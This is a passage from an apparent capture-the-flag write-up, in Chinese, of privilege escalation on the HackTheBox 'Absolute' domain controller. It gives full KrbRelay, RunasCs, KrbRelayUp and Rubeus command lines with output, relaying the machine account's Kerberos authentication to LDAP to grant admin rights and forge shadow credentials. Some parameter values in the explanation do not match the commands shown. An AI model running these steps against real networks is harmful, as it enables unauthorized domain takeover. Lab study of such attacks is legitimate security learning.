这[Windows Version Numbers](https://www.gaijin.at/en/infos/windows-version-numbers)到服务器2019或Windows 10。[KrbRelay README](https://github.com/cube0x0/KrbRelay#clsids)上有一个操作系统默认clsid列表。

找到一个CLSID来指定KrbRelay将要运行的服务。clsid各不相同，通常可以使用默认的，比如TrustedInstaller的CLSID。

``` bash
8F5DF053-3013-4dd8-B5F4-88214E81C0CF
```

#### 失败

现在使用README.Md中的语法运行这个程序，但是失败了:

``` bash
*Evil-WinRM* PS C:\programdata> .\KrbRelay1.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay1.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAACYTYU7Kuv1TQ/AQ/VJ6GyBAlAAAAgU//+7x9HghbuU1iIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
System.UnauthorizedAccessException: Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))
   at KrbRelay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
   at KrbRelay.Program.Main(String[] args)
```

此失败是由于该漏洞利用需要交互式会话，例如console。在这些会话中，密码凭据存储在内存中，因此可以被攻击者利用，这与现在使用的WinRM远程处理不同。

#### RunAsCs

[RunAsCs](https://github.com/antonioCoco/RunasCs)允许以不同用户的身份运行，注意此处使用的是最新版本的RunasCs version 1.5。

RunasCs是一个实用程序，用于运行具有与用户当前登录不同权限的特定进程，使用明文密码。

[Administrative tools and logon types](https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)有一个logon type表。Runas/Network是logon type 9的示例。

目前，RunasCs支持多种[logon types](https://cybersafe.co.il/wp-content/uploads/2021/11/LOGON-types-compressed_compressed.pdf)，但最重要的是2、3和9。

 - Logon type 2: 就像box上的console。不幸的是，这种登录类型不能被DC上的每个人使用，因为它的先决条件是用户需要"交互式登录"权限，而域控制器上默认不授予这种权限。

 - Logon type 3: 用户帐户控制(UAC)绕过，它还需要密码，并且基本上是网络交互式登录，因为它也需要"交互式登录"特权。

 - Logon type 9: 这种登录类型与运行runas /netonly相同，这意味着不会检查密码，使用提供的密码在网络上进行身份验证。

在这一点上，Logon type 9似乎是最好的选择，因为通过网络作为另一个用户进行身份验证，可以使用任何密码，同时以自己的身份在本地运行应用程序。从repository的release部分获取最新的可执行文件，使用evil-winrm将其上传到机器，并使用qwinsta命令测试。

``` bash
*Evil-WinRM* PS C:\programdata> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "qwinsta"

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console                                     1  Conn
```

这次得到了一些输出，所以似乎是有希望的。然后通过RunasCs重新运行KrbRelay。

``` bash
*Evil-WinRM* PS C:\programdata> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 ".\KrbRelay1.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10"

[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay1.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAB9vU64ftMuuYvY9fnAPSf9AogAABwX//+5tG+e1GpphiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105a10e1b0c4142534f4c5554452e485442a2223020a003020102a11930171b046c6461701b0f64632e6162736f6c7574652e687462a382049c30820498a003020112a103020104a282048a04820486bf6166466d1481cd39da3d867fe96ef4450d9f73d25c91cedeb5d24898544528958527ac2511aed99a0c525d162988b0d76d9326063e763997c4fa648e3c12b951e09cf70631df45fe5628becfe57a81353cfc7e159950930fd1fd3ecb90447bd94e26659d7cfc440fa54c1dacb97cebf08b294f49ae15de3171a235262160b832623510bc259f325c2f9dcb15065aacf93528a7679609fcd2f964bb95eb41c807a857143df058095d867fb6768e89078ee865e8e1f22733e59f8290066c1f2302dadaa40b42b7fb05113c7fa0f60be74e1099b659c898446595f7c2237a85b53c00a4833462b470401686944f1952a2a229ec42ab0d1c0da09dad76bd41fc86be012aeab49eac7d278b90ad588f86c3bb8dbccfebd821428019ce1fe9dd47987fad4c5d21c565b85d3bbd3979b68f9de13a02bcb388de58711e8594e502aabfcb4f491796f57d0834fc4ef7f62af3cfde0e76e41337e3fdc21e23b54aec7d61772e6d284bda2746bc7257d5e01d3aa7a89db4bf8ddb1929d06d09942da6138fb27695de110d14e996dc2726355c15dc5f86980128c7127c3271700429eb60619b04cf25d0b5d066bda88441240b73d3e1641675ad3c0946cb3fe14a7abeb3da5cd843285a29a3815148ad6a4f00e04f9b98e1ec228fc556d8748bd7be73b1f941ed5a5091b41d92140454129f8b4b2d161ba42368787234db1f05e3ce7c998c569e5848fed11656f79e2be2b7db9d21dcbc3bd88cdc5b26fee5c35c584e46c460d58c387671a0cfcd806bcc02cd08db4f8e4a5a8c80ba228f635da1375f3add1f42c9920fe358df3270edcc04eff080a7b84f6ffe1e42c5f91ca6e3ce49bfe891a022aa4c84f2678c000ebcb11419151234dcbb75fb900c76cda5d5b492f149cc40c1cf2cb3bed4ade7b4e89186c2e7c59c4f1e30f7d3c46cebb29a5b9ebb6495ccbbd5898797a312c6591089cbe5295fd714db7f471b59d265bc0be53da6e42f3be901f69e301ffede4f72783f82cb9fe8ef5b4c1806c4c7403d50f01a2d37ae3fec007795c831201d69d53eb4aad664d582eca06b5500d2b8d998b3d767d6be5e0599cb4cec23dad7db51502dc3a9e1aa2efbc51bac2c4ebfd987bfeae0b0b0b0a80f6f01341005ef8ecbb9f3884e6d30afccc5d83f5b6b6fe022ce981412083b0889fbc27a24b6a3ec02f95b9ab23b73ef45782d9efb5ff063212b0d4bae570086103d49dac6e7e88f58632b97609bec38da8889a5ff4d62df743a18669eb76c2fa6e0415de817fac150a67e7eb49565d1b9208e72bd48f66c2ab962cb2401c644a532ecb55f95cf654e1532badebacf9d931b4316e322d98aa5e14d6584426c3af566bc8388ad35b4288a6dea1288ef8ed2927556204101b319293fb1ae9af1e247fc1a49f42b2dd207516d7592e43461a507608a8574008e828a33f73473bff3e6e540a63889cd3965ae3768f50cccff7fb39123d03481d2d652ddf61b044026b47f6aa5db1d5b86ef085266c4536cc966c7e3b8fbab1194fc71ff6b58c73b02f4eb2de80f16aabad61ce5dbebeb49229aaa4c1f2ddceb4042a10b6ad93ad571e2250f0140f691115091b895bdc8570a1833f1715d1c866d85cf5991ff237bbeebdf14a48201a33082019fa003020112a28201960482019234d2ed6371d4542e90e94f50599925aa66fe3bdd62c9df8a29036b441e160c1c39b9505015032f54a3b4d1e7c4fb304cadd3d5fca7263a0ce21b95fd26009e83648e668fcb02e22a3b78cb2914f9cd72182b80228e6b59f0f91fdb293b5e4c470bcad47003a1df14a135e6d9f218537482bd4b57793efad6f481c982cea153f0c1479ce18bce67c1ae962502e1a9e027b7f2468180bcf6ab64f90345a485b7cfb42d37bf6fa390b0c222c9e4dc404b78bfc5a6768f09f8a91e88e47e342714e623fb05b06799ac0de148136c963814b0b62223d880803a85449a315b0e2500da31c3969c2b0875873e4cd271810e0f36e62996e587504619148df7ffd06f9c0834abf4f8912a31508bd17ed7c162a727a58c481353727db83268490b05d0ae46aabfeff777b0637254ad4e891d93c1a3a42bb07448704bf9f04657d7b4d01e2fe42f74ba6867827b447a7855aa52a17c18c5627ec258ea8bca3e504a987f17b4fb46e992135c2d3709e137b837927f7df3256dc17d6a2de947a965620f482579010e88b9b1db72883c3372812ca62780d7ff
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e1fcb9415fbc27ffe350a3538ea96cffb02b4d92abc30719d1222ec74892af26adbef784241566bd953ae423960ebb0fcf10ed4682774b3b7bfa7f0d15ab583356ad9ff9b51123615ed05fcecced189688b5b629e85db06ff6b458f11669bf21fdc4f320ef379cc7d2b6c70fef200
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404422090ee1d4a63d9fdb1eabcfa5323d906c4c90d37398659053f7573ac2f7c3386c37a9b410f1250ca0c1c51890d28aede293d315bf5a125b3461839163d2c2c4e4fd7
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
```

这一次LDAP bind成功了。继续通过将winrm_user用户添加到Administrators组来充分利用此漏洞。

``` bash
*Evil-WinRM* PS C:\programdata> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 ".\KrbRelay1.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user"

[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay1.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAABXmOFkCjduDHUSM3VtL2fUAoQAAOwU//9NMvzhG3NliiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP/

[*] Forcing SYSTEM authentication
[*] Using CLSID: 8f5df053-3013-4dd8-b5f4-88214e81c0cf
[*] apReq: 608206b406092a864886f71201020201006e8206a33082069fa003020105a10302010ea20703050020000000a38204e1618204dd308204d9a003020105aa003020112a103020104a282048a04820486bf6166466d1481cd39da3d867fe96ef4450d9f73d25c91cedeb5d24898544528958527ac2511aed99a0c525d162988b0d7cb97cebf08b294f49ae15de3171a235262160b832623510bc259f325c2f9dcb15065aacf93528a7679609fcd2f964bb95eb41c807a857143df058095d867fb6768e890944f1952a2a229ec42ab0d1c0da09dad76bd41fc86be012aeab49eac7d278b90ad588f86c3bb8dbccfebd821428019ce1fe9dd47987fad4c5d21c565b85d3bbd3979b6257d5e01d3aa7a89db4bf8ddb1929d06d09942da6138fb27695de110d14e996dc2726355c15dc5f86980128c7127c3271700429eb60619b04cf25d0b5d066bda884412140454129f8b4b2d161ba42368787234db1f05e3ce7c998c569e5848fed11656f79e2be2b7db9d21dcbc3bd88cdc5b26fee5c35c584e46c460d58c387671a0cfcd806b2678c000ebcb11419151234dcbb75fb900c76cda5d5b492f149cc40c1cf2cb3bed4ade7b4e89186c2e7c59c4f1e30f7d3c46cebb29a5b9ebb6495ccbbd5898797a312c95c831201d69d53eb4aad664d582eca06b5500d2b8d998b3d767d6be5e0599cb4cec23dad7db51502dc3a9e1aa2efbc51bac2c4ebfd987bfeae0b0b0b0a80f6f01341003d49dac6e7e88f58632b97609bec38da8889a5ff4d62df743a18669eb76c2fa6e0415de817fac150a67e7eb49565d1b9208e72bd48f66c2ab962cb2401c644a532ecbe247fc1a49f42b2dd207516d7592e43461a507608a8574008e828a33f73473bff3e6e540a63889cd3965ae3768f50cccff7fb39123d03481d2d652ddf61b044026b47fad571e2250f0140f691115091b895bdc8570a1833f1715d1c866d85cf5991ff237bbeebdf14a48201a33082019fa003020112a28201960482019228bb5d87238eeb5f37e430a10fe6db4723da025cba81d5365183ec4c8e1cb4c8f9586d1c5a883b8e6860f6d4d53c112d04ad465dcd2e7a980b1bd9b47b9afb6080320ecaf1e57a49277068e71db65613c388aeb60b055d6e9054eeeb3e04a84175864c62a1cea3632da1ac133c0d29bd7a1e990c15a62d140b68b9045d03564294e10d0b9903d82484670162772891db384b8609cff6744a547d42f5b998254fd4e346db6dadf33d0596f1d8c626500ee83f14175af022a8a6664bce949709fdb5bd481ffd4230ac201f36c54442640680b
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e0d110db7e857467e22dd2c6abd7d119ba3e6eaf0902d0add637a2ff05f073dc4c87b625a20b07ae638bbb8f8ccc50c61e2301
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404426d9b38d41c9a01934ab60aa86020a905ec532d3c8d6d6d717c257a00ed441e4be408
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute17.png)

KrbRelay给出LDAP被成功修改。退出并重新登录以使更改生效，然后验证更改。

winrm_user现在是Administrators组的一员。

``` bash
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user winrm_user
User name                    winrm_user
Full Name
Comment                      Used to perform simple network tasks
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/9/2022 1:25:51 AM
Password expires             Never
Password changeable          6/10/2022 1:25:51 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/9/2022 7:13:12 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
Global Group memberships     *Domain Users         *Protected Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\winrm_user\Documents> cat C:\Users\Administrator\Desktop\root.txt
e9cefad9242174ae18798c39f2c275d5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute18.png)

#### KrbRelayUp
#### 失败

KrbRelayUp使用KrbRelay常见的攻击法并将其自动化。但是它们都不太管用。

[SharpCollection KrbRelayUp.exe](https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe)上传后使用RunasCs运行它

``` bash
*Evil-WinRM* PS C:\programdata> .\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 ".\KrbRelayUp.exe relay -m shadowcred -cls {8F5DF053-3013-4dd8-B5F4-88214E81C0CF}"

KrbRelayUp - Relaying you to SYSTEM


[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] Generating certificate
[+] Certificate generated
[+] Generating KeyCredential
[+] KeyCredential generated with DeviceID f77553c7-6126-4d1f-b698-da682ae36a0a
[+] KeyCredential added successfully
[+] Run the spawn method for SYSTEM shell:
    ./KrbRelayUp.exe spawn -m shadowcred -d absolute.htb -dc dc.absolute.htb -ce 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 -cep hD8=vP2#vB4/
```

但是，这条命令不起作用。那是因为它要spawn一个shell，但是有什么机制阻碍了它。

#### success

它要求用以下参数运行KrbRelayUp.exe spawn，可以用help或GitHub README查看参数意义:

 - -m shadowcred - abusing shadow creds
 - -d absolute.htb - domain to target
 - -dc dc.absolute.htb - domain controller
 - -ce MIIKQAIBAz... - base64-encoded certificate
 - -cep hD8=vP2#vB4/ - password for the certificate

KrbRelayUp报告它成功地运行了，并为计算机帐户创建了shadow creds。可以尝试以不同的方式使用此证书/密码。从[Sharp Collection Rubeus.exe](https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/Rubeus.exe)中获取Rubeus.exe并上传它。使用以下选项的asktgt命令:

 - /user:DC$ - User为机器帐号
 - /certificate:MIIKQAIBAz... - shadow credential的证书
 - /password:"tW6@oE8=tX0@" - shadow credential的密码
 - /getcredentials - 使用TGT请求一个U@U服务ticket和账户的NT hash
 - /show - 显示结果
 - /nowrap - don’t wrap output

``` bash
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe asktgt /user:DC$ /certificate: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